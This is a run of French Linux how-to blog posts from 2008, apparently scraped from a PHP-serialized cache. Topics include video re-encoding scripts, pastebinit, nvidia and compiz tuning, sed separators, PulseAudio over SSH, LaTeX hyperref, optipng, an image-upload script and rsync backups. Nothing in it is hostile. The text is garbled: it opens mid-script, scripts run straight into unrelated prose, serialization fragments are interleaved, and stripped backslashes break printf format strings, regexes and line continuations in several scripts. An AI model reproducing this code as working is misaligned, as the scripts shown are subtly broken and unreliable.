[ $# -ge 3 ] || syntax_error
# reads the arguments
in="$1"; shift
out="$1"; shift
q="$1"; shift
# audio bitrate
ab=96
# input file must exist
if [ ! -f "$in" ]
then
printf '%s\n' "Input file doesn't exist : $in" >&2
exit 2
fi
# bitrate value must be integer or quantifier
if [ ! "$(is_integer "$q")" -a ! "$(get_q_value "$q")" ]
then
printf '%s\n' "Bitrate value must be integer : $bitrate" >&2
exit 3
fi
# gets a unique filename, in order to avoid collisions when encoding two video
# at the same time
uid=$(uid)
tmp_log=$(printf '%s' "/tmp/$uid.log")
# chooses the quality preset
quality='-hurry'
if [ "$1" = '-afap' -o "$1" = '-hurry' -o "$1" = '-std' -o "$1" = '-hq' \
-o "$1" = '-vhq' ]
then
quality="$1"
shift
fi
vf=$(scale_preset "$quality")
if [ $(use_x264 "$quality") ]
then
# gets the x264 options
opts=$(x264_preset $quality)
if [ $(two_passes_preset "$quality") ]
then
# encodes the first pass
mencoder "$in" -o /dev/null -of lavf -lavfopts format=mp4 -passlogfile \
"$tmp_log" -ovc x264 -x264encopts "$opts:pass=1" \
-vf "$vf" -nosound $@ &&
# encodes the second pass
mencoder "$in" -o "$out" -of lavf -lavfopts format=mp4 -passlogfile \
"$tmp_log" -ovc x264 -x264encopts "$opts:pass=2" \
-vf "$vf" -oac faac \
-faacopts br=$ab:raw=yes:object=2 $@ &&
exit 0
else
# encodes the unique pass
mencoder "$in" -o "$out" -of lavf -lavfopts format=mp4 -passlogfile \
"$tmp_log" -ovc x264 -x264encopts "$opts" \
-vf "$vf" -oac faac \
-faacopts br=$ab:raw=yes:object=2 $@ &&
exit 0
fi
else
# encodes the unique pass
mencoder "$in" -o "$out" -of lavf -lavfopts format=mp4 -passlogfile \
"$tmp_log" -ovc lavc -lavcopts $(mpeg4_preset) -vf "$vf" -oac faac \
-faacopts br=$ab:raw=yes:object=2 $@ &&
exit 0
fiCeux qui vont souvent sur IRC connaissent pastebin, qui permet de poster plusieurs lignes (un fichier de config par exemple) sans flooder le chan.
Je me suis dit que ce serait bien de faire un script qui automatise tout cela, pour envoyer son fichier en ligne de commande. Avant de le commencer, je regarde quand même si ça n’existe pas déjà : oui, évidemment, ça existe déjà :)
Il suffit donc d’installer le paquet pastebinit.
Ensuite, l’utilisation est très simple :
pastebinit /etc/X11/xorg.confL’utilisateur par défaut est $USER (le nom système de l’utilisateur). Il est
possible de le changer :
pastebinit -a 'moi' /etc/X11/xorg.confOn peut également utiliser la coloration syntaxique :
pastebinit -f bash /usr/bin/compizIl est possible de poster l’entrée standard :
pastebinit <<< 'mon premier paste'Le programme donne en retour le résultat sur la sortie standard. On peut donc ouvrir directement la page dans le navigateur :
xdg-open $(pastebinit /etc/X11/xorg.conf)Ce billet s’adresse aux possesseurs de carte graphique nvidia qui utilisent compiz-fusion.
Tout d’abord, pour que compiz prennent en compte les paramètres de
nvidia-settings au démarrage (vblank, anti-aliasing,
anisotropic…), il faut que la commande nvidia-settings -l soit exécutée
avant le lancement de compiz.
Pour cela, j’ai proposé un patch qui consiste à rajouter un fichier dans
/etc/X11/Xsession.d, en espérant qu’il soit intégré à la version finale
d’Intrepid.
En attendant, le plus simple est de rajouter la ligne dans ~/.gnomerc (créer
le fichier s’il n’existe pas) :
nvidia-settings -l
NB: l’anti-aliasing provoque quelques problèmes avec compiz.
Maintenant, que la configuration de nvidia-settings est prise en compte,
optimisons les performances.
Pour cela, toujours dans ~/.gnomerc, il faut rajouter la ligne :
nvidia-settings -a InitialPixmapPlacement=2 -a GlyphCache=1
Et dans /etc/X11/xorg.conf, dans la Section "Device" correspondant à la
carte graphique, il faut rajouter :
Option "PixmapCacheSize" "1000000"
Option "AllowSHMPixmaps" "0"
ce qui donne, chez moi :
Section "Device"
Identifier "Configured Video Device"
Driver "nvidia"
Option "NoLogo" "True"
Option "PixmapCacheSize" "1000000"
Option "AllowSHMPixmaps" "0"
EndSection
puis redémarrer le serveur X.
Rassurez-vous, je n’ai pas inventé toutes ces modifications, elles sont fortement recommandées par nvidia, en attendant d’avoir les bonnes valeurs par défaut dans une version future. Plus d’infos ici.
Voici une amélioration directe suite à ces modifications : dans ccsm, si dans
le plugin “redimensionner la fenêtre” le mode de redimensionnement est sur
l’option “Normal”, les redimensionnements de fenêtres sont très très lents.
C’est pour cela que j’utilisais plutôt le mode “Stretch”.
Après les modifications, les performances sont beaucoup plus correctes (ça n’est pas parfait, mais c’est déjà ça).
";s:7:"dateiso";s:15:"20081007_132200";}s:15:"20080930_160300";a:7:{s:5:"title";s:29:"sed : changer de séparateur";s:4:"link";s:55:"http://blog.rom1v.com/2008/09/sed-changer-de-separateur";s:4:"guid";s:55:"http://blog.rom1v.com/2008/09/sed-changer-de-separateur";s:7:"pubDate";s:25:"2008-09-30T16:03:00+02:00";s:11:"description";s:0:"";s:7:"content";s:1876:"Si vous effectuez quelques traitements simples en ligne de commande, vous
connaissez forcément l’outil sed, et plus particulièrement la commande :
sed 's/ancien/récent/'qui permet de remplacer ancien par récent :
$ sed 's/ancien/récent/' <<< 'ce système est ancien, voire très ancien'
ce système est récent, voire très ancien
Pour remplacer toutes les occurrences, on rajoute un g :
$ sed 's/ancien/récent/g' <<< 'ce système est ancien, voire très ancien'
ce système est récent, voire très récent
Cependant, la syntaxe est assez lourde lorsqu’on veut remplacer des /, par
exemple pour remplacer /home/rom/sh/ par /usr/bin/ :
$ sed 's/\/home\/rom\/sh\//\/usr\/bin\//' <<< /home/rom/sh/myscript
/usr/bin/myscript
Heureusement, il est possible de changer le séparateur, et très facilement :
c’est simplement le caractère après le s, et on met ce que l’on veut :
$ sed 's:/home/rom/sh:/usr/bin:' <<< /home/rom/sh/myscript
/usr/bin/myscript
$ sed 's|/home/rom/sh|/usr/bin|' <<< /home/rom/sh/myscript
/usr/bin/myscript
(il suffit de backslasher le caractère qui sert de séparateur dans les tokens)
Allez, pour s’amuser :
sed sachagena <<< 'des choux'
sed subucu <<< 'trop bon'J’avais d’abord présenté comment exécuter un lecteur audio à distance, en ayant son affichage localement (présentation de SSH, chapitre 5).
J’ai ensuite présenté comment rediriger le son vers un autre PC (grâce à PulseAudio).
Le problème, c’est qu’avec PulseAudio, l’exécution d’un lecteur audio à distance avec l’affichage en local ne fonctionne plus : le son ne sort nulle part, même si à l’écran tout a l’air de fonctionner :
ssh monserveur -XC rhythmbox
En effet, la variable d’environnement PULSE_SERVER n’étant pas affectée lors
d’un ssh -X, le lecteur ne trouve pas de serveur audio.
La solution propre serait de rajouter une ligne dans ~/.pulse/client.conf :
echo "default-server={$HOSTNAME}unix:/tmp/pulse-$USER/native" >> ~/.pulse/client.conf
Mais un bug de PulseAudio, corrigé dans la version 0.9.12, fait que cette solution ne fonctionne pas. Et malheureusement, cette version ne devrait pas apparaître dans Ubuntu avant la version 9.04.
Une solution consiste donc à l’initialiser lors du lancement du lecteur audio :
ssh monserveur -XC 'PULSE_SERVER="{$HOSTNAME}unix:/tmp/pulse-$USER/native" rhythmbox'
Si vraiment l’on veut éviter d’affecter cette variable à chaque fois
manuellement, on peut rajouter à la fin du fichier /etc/ssh/sshd_config la
ligne suivante :
PermitUserEnvironment yes
puis, toujours sur le serveur, définir la variable d’environment dans le
fichier ~/.ssh/environment :
echo "PULSE_SERVER={$HOSTNAME}unix:/tmp/pulse-$USER/native" >> ~/.ssh/environment
Après avoir redémarré le serveur :
sudo /etc/init.d/ssh restart
il est possible de lancer sur le client :
ssh monserveur -XC rhythmbox
Le son ne sera plus perdu dans une faille de l’espace-temps :-)
";s:7:"dateiso";s:15:"20080929_185500";}s:15:"20080927_203300";a:7:{s:5:"title";s:39:"Thunderbird : mails HTML et texte brut";s:4:"link";s:66:"http://blog.rom1v.com/2008/09/thunderbird-mails-html-et-texte-brut";s:4:"guid";s:66:"http://blog.rom1v.com/2008/09/thunderbird-mails-html-et-texte-brut";s:7:"pubDate";s:25:"2008-09-27T20:33:00+02:00";s:11:"description";s:0:"";s:7:"content";s:1172:"Il m’arrive souvent (tout le temps?) de vouloir envoyer des mails en texte brut. Mais par défaut, Thunderbird utilise un éditeur supportant le HTML (même si lors de l’envoi il propose d’envoyer le mail en texte brut), et parfois, il change de police (lors de copiers-collers, de citations…) :

On peut bien sûr désactiver le HTML directement dans l’éditeur, grâce au menu Options → Format → “Texte seulement”, mais il faut le faire à chaque nouveau mail. Pour le faire une fois pour toute, il faut se rendre dans “Paramètres des comptes” :

Maintenant, lorsqu’on clique sur “Écrire” pour rédiger un nouveau message, il est en texte brut.
Et si exceptionnellement, un jour, on veut envoyer un mail en HTML, il suffit de cliquer sur “Écrire” en maintenant le bouton Shift appuyé :-)
";s:7:"dateiso";s:15:"20080927_203300";}s:15:"20080920_184800";a:7:{s:5:"title";s:41:"Son grésillant : volume PCM à réduire";s:4:"link";s:65:"http://blog.rom1v.com/2008/09/son-gresillant-volume-pcm-a-reduire";s:4:"guid";s:65:"http://blog.rom1v.com/2008/09/son-gresillant-volume-pcm-a-reduire";s:7:"pubDate";s:25:"2008-09-20T18:48:00+02:00";s:11:"description";s:0:"";s:7:"content";s:993:"Lorsque je lisais de la musique sur mon PC fixe, branché sur l’ampli, le son n’était vraiment pas bon, alors que le même fichier audio sur mon pc portable branché sur l’ampli fonctionnait nickel.
J’ai donc conclu que ma carte son était morte, et je me renseignais pour aller en acheter une nouvelle.
À tout hasard, j’ai regardé la doc ubuntu, et je suis tombé sur :
Veillez à ne pas augmenter PCM à plus de 80 % pour préserver un son d’une bonne qualité.
J’ai donc baissé le volume PCM, monté le son de l’ampli, et le problème a disparu :-)

Pourtant, sur mon PC portable, même avec le volume PCM à 100%, il n’y a aucun problème.
Si vous avez une mauvaise qualité sonore, avant d’investir dans une carte son, pensez à réduire le volume PCM.
";s:7:"dateiso";s:15:"20080920_184800";}s:15:"20080914_130300";a:7:{s:5:"title";s:57:"Utilisez une sortie son d'un autre PC avec Ubuntu 8.04 !";s:4:"link";s:82:"http://blog.rom1v.com/2008/09/utilisez-une-sortie-son-dun-autre-pc-avec-ubuntu-804";s:4:"guid";s:82:"http://blog.rom1v.com/2008/09/utilisez-une-sortie-son-dun-autre-pc-avec-ubuntu-804";s:7:"pubDate";s:25:"2008-09-14T13:03:00+02:00";s:11:"description";s:0:"";s:7:"content";s:3215:"Dans ma présentation de SSH (au chapitre 5), j’expliquais comment exécuter un lecteur audio à distance, en ayant l’affichage en local. Pour résumer, supposons qu’un PC fixe (qui joue un peu le rôle de serveur) contienne toute notre audiothèque, et soit relié à un ampli. Il peut être pratique de vouloir contrôler cette musique à distance avec le PC portable, tranquillement installé dans le canapé. La redirection de l’affichage du lecteur distant sur le PC local répond à ce problème.
Maintenant, prenons un autre cas de figure : je veux que les sons qui sortent actuellement sur le PC portable soient finalement redirigés vers l’ampli (par exemple le son d’une vidéo lue dans un navigateur).
Ceci est possible grâce au serveur de son PulseAudio intégré à Ubuntu 8.04. Et en plus, c’est très simple à mettre en œuvre.
Tout d’abord, installez le paquet padevchooser à la fois sur le PC serveur et
sur le PC client, puis lancez padevchooser en console (ou allez dans le menu
Applications → Son et vidéo → PulseAudio Device Chooser) : une icône apparaît
alors dans le systray.
Sur le serveur, cliquez sur cette icône, puis “Configure Local Sound Server…”, et dans l’onglet “Multicast/RTP”, activez “Enable Multicast/RTP receiver”. Sur le client, faites de même, sauf que c’est “Enable Multicast/RTP sender” qu’il faut activer. Les deux machines peuvent avoir simultanément le rôle de client et de serveur.
Ensuite, sur le client, cliquez sur l’icône de PulseAudio dans le systray, puis “Volume Control”. Pour chaque flux sortant (ici VLC et Rhythmbox), vous pouvez choisir si le son doit sortir en local ou à distance :

Le réglage est appliqué “à chaud” (le son change aussitôt de sortie audio).
Il est possible de configurer de manière plus précise, pour choisir sur quelle carte son de quel PC le son doit sortir, ainsi que de définir une sortie son par défaut. Je vous laisse fouiller les préférences :)
Merci à Compte0 qui m’a fait découvrir cette fonctionnalité.
Note : pour que cela fonctionne avec les vidéos Flash, il faut le paquet
libflashsupport, en attendant que *Flash* supporte nativement PulseAudio.
Attention cependant, il est possible avec ce paquet que des plantages de Firefox
surviennent aléatoirement sur des pages contenant du *Flash* ; si cela vous
arrive, désinstallez simplement le paquet. Vous pouvez également tester la
version RC de Flash Player
10, qui supporte
PulseAudio en natif, ou attendre la version 8.10 d’Ubuntu, prévue pour le 30
octobre 2008.
EDIT: Tout fonctionne correctement depuis la version 8.10.
";s:7:"dateiso";s:15:"20080914_130300";}s:15:"20080914_111100";a:7:{s:5:"title";s:42:"LaTeX : hyperref + numérotation = warning";s:4:"link";s:65:"http://blog.rom1v.com/2008/09/latex-hyperref-numerotation-warning";s:4:"guid";s:65:"http://blog.rom1v.com/2008/09/latex-hyperref-numerotation-warning";s:7:"pubDate";s:25:"2008-09-14T11:11:00+02:00";s:11:"description";s:0:"";s:7:"content";s:6696:"Lorsque l’on veut utiliser LaTeX pour générer un document pdf, le package
hyperref peut s’avérer bien pratique, car il permet de rendre les liens du
document cliquables. Il modifie également la gestion de la numérotation des
pages, ce qui peut poser problème.
Tout d’abord, prenons un exemple sans utiliser le package hyperref.
\documentclass[a4paper]{report}
\usepackage[francais]{babel}
\usepackage[utf8]{inputenc}
\title{Exemple}
\author{®om}
\begin{document}
\maketitle
\begin{abstract}
Un résumé
\end{abstract}
\tableofcontents
\chapter{Un chapitre}
Le premier chapitre.
\end{document}C’est un document de 4 pages, qui compile sans problème. Lorsque l’on ouvre le pdf ainsi généré avec evince (le lecteur pdf par défaut de Gnome), les pages sont numérotées de 1 à 4 dans la partie réservée aux vignettes :

La page de titre et la page du résumé n’étant pas numérotées sur le document, les numéros imprimées sur les pages ne sont pas les mêmes :
Cela peut poser des problèmes de compréhension lors du visionnage d’un pdf par l’utilisateur : pour trouver la page 14 (où le numéro 14 est imprimé), il doit donc chercher la page 16 dans la liste des vignettes.
De plus, sur le document généré, les références ne sont pas cliquables (par exemple, il est impossible de cliquer sur une ligne du sommaire pour être aussitôt redirigé vers la page correspondante).
Utilisons alors le package hyperref, en rajoutant :
\usepackage{hyperref}Maintenant, les liens sont cliquables :

Le problème de décalage de numéros est également résolu :

Cependant, il y a maintenant plusieurs pages numérotées 1, ce qui, en plus
d’être assez perturbant et disgrâcieux, provoque un warning à la compilation :
destination with the same identifier (name{page.1}) hasbeen already used,
duplicate ignored
Pour éviter ce problème, une astuce consiste à utiliser une numérotation
différente pour la page de titre et pour la vraie numérotation, par exemple une
numérotation par lettres (de toute façon elles ne seront pas affichées). Pour
cela, on peut utiliser \pagenumbering{alph} et \pagenumbering{arabic} (les
options disponibles sont présentées ici.
\documentclass[a4paper]{report}
\usepackage[francais]{babel}
\usepackage[utf8]{inputenc}
\usepackage{hyperref}
\title{Exemple}
\author{®om}
\begin{document}
\pagenumbering{alph}
\maketitle
\begin{abstract}
Un résumé
\end{abstract}
\tableofcontents
\pagenumbering{arabic}
\chapter{Un chapitre}
Le premier chapitre.
\end{document}Maintenant, le warning a disparu, et nous avons bien le résultat attendu :

Au passage, les liens par défaut ne sont pas très design (un rectangle rouge
autour des liens). Il est possible de passer des paramètres à hyperref pour
changer ce comportement :
\usepackage[colorlinks,linkcolor=blue]{hyperref}Le paramètre colorlinks indique de colorer directement le texte d’un lien,
plutôt que de l’encadrer, et linkcolor permet de changer la couleur.
Le résultat :

Merci à la section 4.4.2 de ce document :)
";s:7:"dateiso";s:15:"20080914_111100";}s:15:"20080912_101100";a:7:{s:5:"title";s:79:"screex264 : réencodez vos captures d'écran vidéos (screencasts) sous Ubuntu";s:4:"link";s:100:"http://blog.rom1v.com/2008/09/screex264-reencodez-vos-captures-decran-videos-screencasts-sous-ubuntu";s:4:"guid";s:100:"http://blog.rom1v.com/2008/09/screex264-reencodez-vos-captures-decran-videos-screencasts-sous-ubuntu";s:7:"pubDate";s:25:"2008-09-12T10:11:00+02:00";s:11:"description";s:0:"";s:7:"content";s:12858:"Vous connaissez sans doute l’outil gtk-recordmydesktop, qui permet de faire
une capture vidéo (un screencast) de votre écran.
Pour obtenir une bonne qualité, dans les options vidéos, il faut vérifier que “compression nulle” est bien sur l’option “Activé” (malheureusement, la compression à la volée utilisée provoque quand même une légère perte de qualité).
Mais une telle vidéo prend un peu de place. Je vous propose donc de la réencoder, dans le format x264 (issu du projet VideoLAN, ayant donné naissance à VLC), multiplexé dans le conteneur MKV.
Le fichier ainsi généré sera lisible par exemple avec VLC.
Disons-le tout de suite, le x264 est actuellement LE meilleur codec de compression vidéo, proposant un rapport qualité/taille impressionnant. Le mkv permet, par exemple, de contenir une piste vidéo, plusieurs pistes audio dans différentes langues, des sous-titres, des chapitres, des pièces jointes… Ici, ce qui nous intéresse, c’est qu’il est libre, et qu’à contenu égal, il prend moins de place que les autres conteneurs (l’overhead est quasi-nul).
Voici comment utiliser le script.
Pour encoder la vidéo mavideo.ogg en mavideo.mkv, avec un débit de 400Kbps :
screex264 mavideo.ogg mavideo.mkv 400
Pour encoder la vidéo mavideo.ogg en mavideo.mkv, avec un débit de 400Kbps
avec une meilleure qualité (plus lent) :
screex264 mavideo.ogg mavideo.mkv 400 -hq
Pour encoder la vidéo mavideo.ogg en mavideo.mkv, avec un débit de 400Kbps
avec une qualité maximale (très lent) :
screex264 mavideo.ogg mavideo.mkv 400 -vhq
Il est également possible d’utiliser n’importe quels paramètres de mencoder.
Ainsi, pour encoder la vidéo mavideo.ogg en mavideo.mkv, avec un débit de
400Kbps, à partir de la 10e seconde et pour une durée de 20 secondes :
screex264 mavideo.ogg mavideo.mkv 400 -ss 10 -endpos 20
Ce script peut également permettre à réencoder les petites vidéos enregistrées grâce à un appareil photo, et diviser leur taille d’un facteur 15.
Passons donc aux choses sérieuses. Tout d’abord, ce script nécessite x264,
mencoder et mkvtoolnix pour fonctionner.
#!/bin/sh
# screex264 : screencast encoding script
#
# 11th september 2008 - Romain Vimont (®om)
#
# v0.2 (26th june 2009)
#
# Converts input video (ignoring audio) to x264 video, muxed in mkv.
#
# Syntax:
# screex264 input_file output_mkv bitrate [quality_preset]
# [mencoder_options [...]]
#
# quality_preset must be one of :
# -std : (default) standard quality (good quality, normal)
# -hq : high quality (very good quality, slow)
# -vhq : very high quality (best quality, very slow)
#
# mencoder_options are appended to command line of mencoder call.
# For example :
# -ss 10 -endpos 56 : trim the video from 10s to 66s.
#
# (of course, there are no options -std, -hq nor -vhq)
#
# Syntax error detected.
# Exits the program with return code 1.
syntax_error() {
printf '%s%sn' "Syntaxe : $0 input_file output_mkv bitrate "
'[quality_preset] [mencoder_options [...]]' >&2
exit 1
}
# Indicates whether the argument represents an integer.
# Returns the integer if the argument represents an integer, an empty string if
# it doesn't.
#
# $1: value to test
is_integer() {
local value="$1"
printf %s "$1" | grep -o '^[[:digit:]]+$'
}
# Gets a unique id, based on the clock (seconds + nanoseconds).
# Returns a unique id.
uid() {
date +'%s%N'
}
# Returns the command line arguments for the selected preset.
#
# $1: preset
# return: command line arguments
x264_preset() {
local preset="$1"
case "$preset" in
'-std')
printf '%s%s%s' "bitrate=$bitrate:frameref=8:mixed_refs:"
"bframes=3:b_adapt:b_pyramid:weight_b:partitions=all:8x8dct:"
"me=hex:subq=5:trellis=2:threads=auto" ;;
'-hq')
printf '%s%s%s' "bitrate=$bitrate:frameref=16:mixed_refs:"
"bframes=3:b_adapt:b_pyramid:weight_b:partitions=all:8x8dct:"
"me=umh:subq=6:trellis=2:threads=auto" ;;
'-vhq')
printf '%s%s%s' "bitrate=$bitrate:frameref=16:mixed_refs:"
"bframes=3:b_adapt:b_pyramid:weight_b:partitions=all:8x8dct:"
"me=esa:subq=7:trellis=2:threads=auto" ;;
*)
printf '%s%sn' 'Quality preset must be one of {-std,-hq,-vhq} : '
"$preset" >&2
exit 4
esac
}
# error when less than 3 arguments
[ $# -ge 3 ] || syntax_error
# reads the arguments
in=$1; shift
out=$1; shift
bitrate=$1; shift
# input file must exist
if [ ! -f "$in" ]
then
printf '%sn' "Input file doesn't exist : $in" >&2
exit 2
fi
# bitrate value must be integer
if [ ! $(is_integer "$bitrate") ]
then
printf '%sn' "Bitrate value must be integer : $bitrate" >&2
exit 3
fi
# choose the quality preset
quality='-std'
if [ "$1" = '-std' -o "$1" = '-hq' -o "$1" = '-vhq' ]
then
quality="$1"
shift
fi
# gets the x264 options
opts=$(x264_preset $quality)
# gets a unique filename, in order to avoid collisions when encoding two video
# at the same time
uid=$(uid)
tmp_x264=$(printf '%s' "/tmp/$uid.avi")
tmp_log=$(printf '%s' "/tmp/$uid.log")
# encodes the first pass
mencoder "$in" -o /dev/null -passlogfile $tmp_log -ovc x264 -x264encopts
"$opts:pass=1" -nosound $@ &&
# encodes the second pass
mencoder "$in" -o $tmp_x264 -passlogfile $tmp_log -ovc x264 -x264encopts
"$opts:pass=2" -nosound $@ &&
# muxes the result in a mkv
mkvmerge -o "$out" -d 0 -A -S "$tmp_x264" --track-order 0:0Vous pouvez maintenant faire chauffer le processeur !
";s:7:"dateiso";s:15:"20080912_101100";}s:15:"20080830_110200";a:7:{s:5:"title";s:36:"Optimiser la taille des fichiers png";s:4:"link";s:66:"http://blog.rom1v.com/2008/08/optimiser-la-taille-des-fichiers-png";s:4:"guid";s:66:"http://blog.rom1v.com/2008/08/optimiser-la-taille-des-fichiers-png";s:7:"pubDate";s:25:"2008-08-30T11:02:00+02:00";s:11:"description";s:0:"";s:7:"content";s:2259:"L’outil optipng permet d’optimiser les fichiers png : les compresser
davantage sans aucune perte de qualité.
Pour l’utiliser, c’est très simple :
optipng image.png
Très pratique pour les captures d’écran que l’on veut poster sur Internet.
Voici un exemple de résultat :
$ optipng screenshot.png
OptiPNG 0.5.5: Advanced PNG optimizer.
Copyright (C) 2001-2007 Cosmin Truta.
** Processing: screenshot.png
1196x688 8-bit RGB-alpha non-interlaced
The image is losslessly reduced to 8-bit RGB
Input IDAT size = 117762 bytes
Input file size = 118005 bytes
Trying...
zc = 9 zm = 8 zs = 0 f = 0 IDAT size = 81686
zc = 9 zm = 8 zs = 1 f = 0 IDAT too big
zc = 1 zm = 8 zs = 2 f = 0 IDAT too big
zc = 9 zm = 8 zs = 3 f = 0 IDAT too big
zc = 9 zm = 8 zs = 0 f = 5 IDAT too big
zc = 9 zm = 8 zs = 1 f = 5 IDAT too big
zc = 1 zm = 8 zs = 2 f = 5 IDAT too big
zc = 9 zm = 8 zs = 3 f = 5 IDAT too big
Selecting parameters:
zc = 9 zm = 8 zs = 0 f = 0 IDAT size = 81686
Output IDAT size = 81686 bytes (36076 bytes decrease)
Output file size = 81761 bytes (36244 bytes = 30.71% decrease)
Un peu plus de 30% de gain, ça n’est pas négligeable.
Et pour en faire un script nautilus, mettez ce script dans
~/.gnome2/nautilus-scripts/optipng que vous rendez exécutable :
#!/bin/sh
# Optimizes PNG files.
#
# 30th august 2008 - Romain Vimont (®om)
#
# Use only n as field separator
IFS='
'
# Calls optipng with all args
optipng $NAUTILUS_SCRIPT_SELECTED_FILE_PATHSCombiné avec imagup, c’est très pratique pour poster des captures d’écran sur un forum.
";s:7:"dateiso";s:15:"20080830_110200";}s:15:"20080829_142700";a:7:{s:5:"title";s:39:"imagup : uploader une image en 2 clics";s:4:"link";s:66:"http://blog.rom1v.com/2008/08/imagup-uploader-une-image-en-2-clics";s:4:"guid";s:66:"http://blog.rom1v.com/2008/08/imagup-uploader-une-image-en-2-clics";s:7:"pubDate";s:25:"2008-08-29T14:27:00+02:00";s:11:"description";s:0:"";s:7:"content";s:14644:"J’ai écrit un petit script pour uploader en ligne de commande une image sur imagup, et récupérer le lien (pratique pour poster sur les forums).
Voici comment l’utiliser :
imagup monimage.jpg
Les extensions jpg, jpeg, png et gif sont autorisées.
Voici un exemple de résultat :
$ imagup rom-avatar.png
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 28706 0 14129 100 14577 3638 3754 0:00:03 0:00:03 --:--:-- 5059
rom-avatar.png : http://uploads.imagup.com/05/1220023287_rom-avatar.png
Il est possible d’uploader plusieurs images en une seule ligne :
imagup image1.png image2.jpg
Avec l’option -open, une fois l’image uploadée, elle est ouverte dans le
navigateur par défaut.
(curl doit être installé.)
Voici le script :
#!/bin/sh
# IMAGUP script
#
# 29th august 2008 - Romain Vimont (®om)
#
# Uploads images to www.imagup.com, and returns the http:// link.
#
# Syntax:
# imagup [-open] fichier1 [fichier2 [...]]
#
# If -open is specified, the link is opened in the default associated program
# (the default browser).
#
# Syntax error detected
# Exits the program with return code 1.
syntax_error() {
printf '%sn' "Syntaxe : $0 [-open] fichier1 [fichier2 [...]]" >&2
exit 1
}
# Bad extension detected. Prints messages on stderr.
#
# $1: bad extension
bad_extension() {
local extension="$1"
printf '%sn' "Extension not supported: $extension" >&2
printf '%sn' "Must be one of {png, jpg, jpeg, gif}." >&2
}
# Returns the canonical name of the file, from its (full) path.
#
# $1: (full) path of the file
# return: canonical name of the file
#
# example: get_filename 'a/b.c/d.e.f.jpg' returns 'd.e.f.jpg'
get_filename() {
local path="$1"
printf %s "$path" | grep -o '[^/]+$'
}
# Returns the radical of a filename (its name without the extension), from its
# (full) path.
#
# $1: (full) path of the file
# return: radical of the file
#
# example: get_radical 'a/b.c/d.e.f.jpg' returns 'd.e.f'
get_radical() {
local path="$1"
local filename="$(get_filename "$path")"
printf %s "$filename" | sed 's/.[^.]*$//'
}
# Returns the extension of a file, from its (full) path.
#
# $1: (full) path of the file
# return: extension of the file
#
# example: get_extension 'a/b.c/d.e.f.jpg' returns 'jpg'
get_extension() {
local path="$1"
local filename="$(get_filename "$path")"
printf %s "$filename" | grep -o '[^.]+$'
}
# Converts a String to lower case.
#
# $1: input text
# return: lower cased text
#
# example: to_lower_case 'AbCdE' returns 'abcde'
to_lower_case() {
local text="$1"
printf %s "$text" | tr -s [A-Z] [a-z]
}
# error when no arguments
[ $# -ge 1 ] || syntax_error
if [ "$1" = '-open' ]
then
# -open is enabled
open=true
shift
# should remain other arguments
[ $# -ge 1 ] || syntax_error
fi
# for each argument (a file to upload)
for path
do
extension=$(get_extension "$path")
ext=$(to_lower_case "$extension")
# extention must be one of {png, jpg, jpeg, gif}
if [ "$ext" = png -o "$ext" = jpg -o "$ext" = jpeg -o "$ext" = gif ]
then
filename=$(get_filename "$path")
radical=$(get_radical "$path")
# uploads and gets the url back
url=$(curl www.imagup.com -F
"fichier=@$path;filename=$radical.$ext;type=image/$ext" |
grep image-upload |
grep -o "http://[[:alpha:]]+.imagup.com/[^"]+.(png|jpg|jpeg|gif)")
if [ "$url" ]
then
# if it worked, prints the url
printf '%sn' "$path : $url"
# if -open is selected, open-it in the default application
[ $open ] && xdg-open "$url"
else
# it didn't work
printf '%sn' "Problem while uploading $path" >&2
fi
else
# file extension is bad
bad_extension "$extension"
fi
doneUne fois installé, vous pouvez également l’utiliser comme script nautilus.
Mettez le script suivant dans ~/.gnome2/nautilus-script/imagup-wrapper et
rendez-le exécutable :
#!/bin/sh
# nautilus IMAGUP script wrapper
#
# 29th august 2008 - Romain Vimont (®om)
#
# Needs "imagup" core script to be installed.
#
# Use only \n as field separator
IFS='
'
# Calls imagup with all args
imagup -open $NAUTILUS_SCRIPT_SELECTED_FILE_PATHSEnsuite, dans nautilus, il est possible d’envoyer l’image en cliquant sur Script → imagup-wrapper. Les images ainsi envoyées s’ouvriront dans le navigateur par défaut.
Cependant, en écrivant ce script, je me suis aperçu de trois problèmes dans nautilus : un problème de proxy, un problème de vue liste et un problème avec le lancement de scripts à partir du bureau.
Les deux derniers problèmes sont contournés avec le script imagup-wrapper (le
dernier script).
Si, au lieu d’appeler une fois imagup avec tous les arguments, on voulait
l’appeler n fois avec un seul argument (utile lorsque le programme appelé ne
boucle pas sur les arguments), on aurait pu utiliser :
printf %s "$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS" |
while read -r arg
do
imagup -open "$arg"
doneou encore :
IFS='
'
for arg in $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS
do
imagup -open "$arg"
doneJ’en ai profité pour écrire une section les pièges à éviter sur la doc
ubuntu-fr de nautilus-scripts.
Ça vous est déjà arrivé de perdre un disque dur ?
Eh bien moi non, pas encore (trop chanceux!). Et pour éviter que ça se produise, j’ai mis en place une petite politique de backup, très simple.
Alors évidemment, j’avais déjà fait des “backups” : quand un répertoire est important, je le copie autre part. Et quand il est modifié, je supprime l’ancien backup et je le recopie de nouveau (ou j’écrase l’ancien par le nouveau). Mais par exemple pour le répertoire de photos ou autre, quand ça prend plus de 5Gio, c’est beaucoup trop long.
Voici donc comment faire un backup “incrémental” : seuls les fichiers modifiés, ajoutés ou supprimés seront modifiés côté “backup”. Et en plus, ça marche aussi à distance (on peut backuper un répertoire dans un autre sur la même machine, mais également sur une machine différente, par ssh).
Voici par exemple le script que j’utilise pour faire un backup de mon portable dans un répertoire de mon fixe :
#!/bin/sh
cmd='rsync -rpltv --del'
backup_dir='rom-desktop:/media/gnu/backup/rom-laptop'
$cmd \
/home/rom/work \
/home/rom/java \
/home/rom/docs \
/home/rom/.thunderbird \
/home/rom/.mozilla \
/home/rom/sh \
$backup_dir(.mozilla et .thunderbird, c’est la configuration de firefox et
thunderbird, ainsi que tous les favoris, mails, comptes…)
Et du fixe vers le fixe (d’un disque dur vers un autre) :
#!/bin/sh
cmd='rsync -rpltv --del'
backup_dir='/media/gnu/backup/rom-desktop'
$cmd \
/media/tux/photos \
$backup_dirPlus d’infos sur les paramètres de rsync :
-r parcours le dossier indiqué et tous ses sous-dossiers (récursivement)-p préserve les droits-l copie les liens symboliques comme liens symboliques-t préserve les dates (important pour les photos)-v plus verbeux--del permet de supprimer les fichiers sur destination qui n’existent
plus sur source$cmd c’est la commande rsync avec ses paramètres.
$backup_dir c’est la destination :
